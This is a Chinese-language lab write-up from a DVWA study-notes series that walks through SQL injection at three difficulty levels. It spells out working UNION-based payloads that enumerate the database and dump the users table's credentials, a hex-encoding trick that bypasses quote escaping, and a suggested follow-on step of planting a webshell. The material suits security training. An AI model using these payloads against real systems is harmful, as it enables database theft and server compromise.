DVWA-SQL Injection(SQL注入)
本系列文集:DVWA学习笔记
SQL注入，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被“脱裤”，尽管如此，SQL注入仍是现在最常见的Web漏洞之一。
SQL 注入分类
按SQLMap中的分类来看，SQL注入类型有以下 5 种：
UNION query SQL injection（可联合查询注入）
Stacked queries SQL injection（可多语句查询注入）
Boolean-based blind SQL injection（布尔型注入）
Error-based SQL injection（报错型注入）
Time-based blind SQL injection（基于时间延迟注入）
SQL 注入常规利用思路：
1、寻找注入点，可以通过 web 扫描工具实现
2、通过注入点，尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容（常见如存放管理员账户的表名、字段名等信息）
4、可以通过获得的用户信息，寻找后台登录。
5、利用后台或了解的进一步信息，上传 webshell 或向数据库写入一句话木马，以进一步提权，直到拿到服务器权限。
手工注入常规思路：
1.判断是否存在注入，注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据
##Low：
分析：
由代码可知，通过REQUEST方式接受传递的参数id，再通过sql语句带入查询，并未设置任何过滤，因此可以进行sql注入利用。
常见注入测试的POC：
1.判断是否存在注入，注入是字符型还是数字型
当输入的参数为字符串时，称为字符型。字符型和数字型最大的一个区别在于，数字型不需要单引号来闭合，而字符串一般需要通过单引号来闭合的。
输入1，查询成功：
输入1’and ‘1’ =’2，查询失败，返回结果为空：
输入1' or '1'='1 页面正常，并返回更多信息，成功查询
判断存在的是字符型注入。
2.猜解SQL查询语句中的字段数
输入1′ or 1=1 order by 1 #，查询成功： #是注释作用
输入1′ or 1=1 order by 2 #，查询成功： #是注释作用
输入1′ or 1=1 order by 3 #，查询失败： #是注释作用
说明执行的SQL查询语句中只有两个字段，即这里的First name、Surname。
3.确定显示的字段顺序
输入1′ union select 1,2 #，查询成功： #是注释作用
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
4.获取当前数据库
输入1′ union select 1,database() #，查询成功：#是注释作用
说明当前的数据库为dvwa。
5.获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查询成功： #是注释作用
说明数据库dvwa中一共有两个表，guestbook与users。
6.获取表中的字段名
输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #，查询成功： #是注释作用
说明users表中有8个字段，分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下载数据
输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查询成功： #是注释作用
这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。
##Medium：
分析:
Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义，同时前端页面设置了下拉选择表单，希望以此来控制用户的输入。
漏洞利用
虽然前端使用了下拉选择菜单，但我们依然可以通过抓包改参数，提交恶意构造的查询参数。
1.判断是否存在注入，注入是字符型还是数字型
抓包更改参数id为1′ or 1=1 # 报错： #是注释作用
抓包更改参数id为1 or 1=1 #，查询成功：
说明存在数字型注入。
（由于是数字型注入，服务器端的mysql_real_escape_string函数就形同虚设了，因为数字型注入并不需要借助引号。）
2.猜解SQL查询语句中的字段数
抓包更改参数id为1 order by 2 #，查询成功：
抓包更改参数id为1 order by 3 #，报错：
说明执行的SQL查询语句中只有两个字段，即这里的First name、Surname。
3.确定显示的字段顺序
抓包更改参数id为1 union select 1,2 #，查询成功：
说明执行的SQL语句为select First name,Surname from 表 where ID=id…
4.获取当前数据库
抓包更改参数id为1 union select 1,database() #，查询成功：
说明当前的数据库为dvwa。
5.获取数据库中的表
抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查询成功：
说明数据库dvwa中一共有两个表，guestbook与users。
6.获取表中的字段名
抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#，查询失败：
这是因为单引号被转义了，变成了\’。可以利用16进制进行绕过 ‘’
抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #，查询成功：
说明users表中有8个字段，分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下载数据
抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查询成功：
这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。
##High:
分析：
与Medium级别的代码相比，High级别的只是在SQL查询语句中添加了LIMIT 1，希望以此控制只输出一个结果。
漏洞利用:
虽然添加了LIMIT 1，但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样，直接最后一步演示下载数据。
输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查询成功：
**特别注意：**High级别的查询提交页面与查询结果显示页面不是同一个，也没有执行302跳转，这样做的目的是为了防止一般的sqlmap注入，因为sqlmap在注入过程中，无法在查询提交页面上获取查询的结果，没有了反馈，也就没办法进一步注入。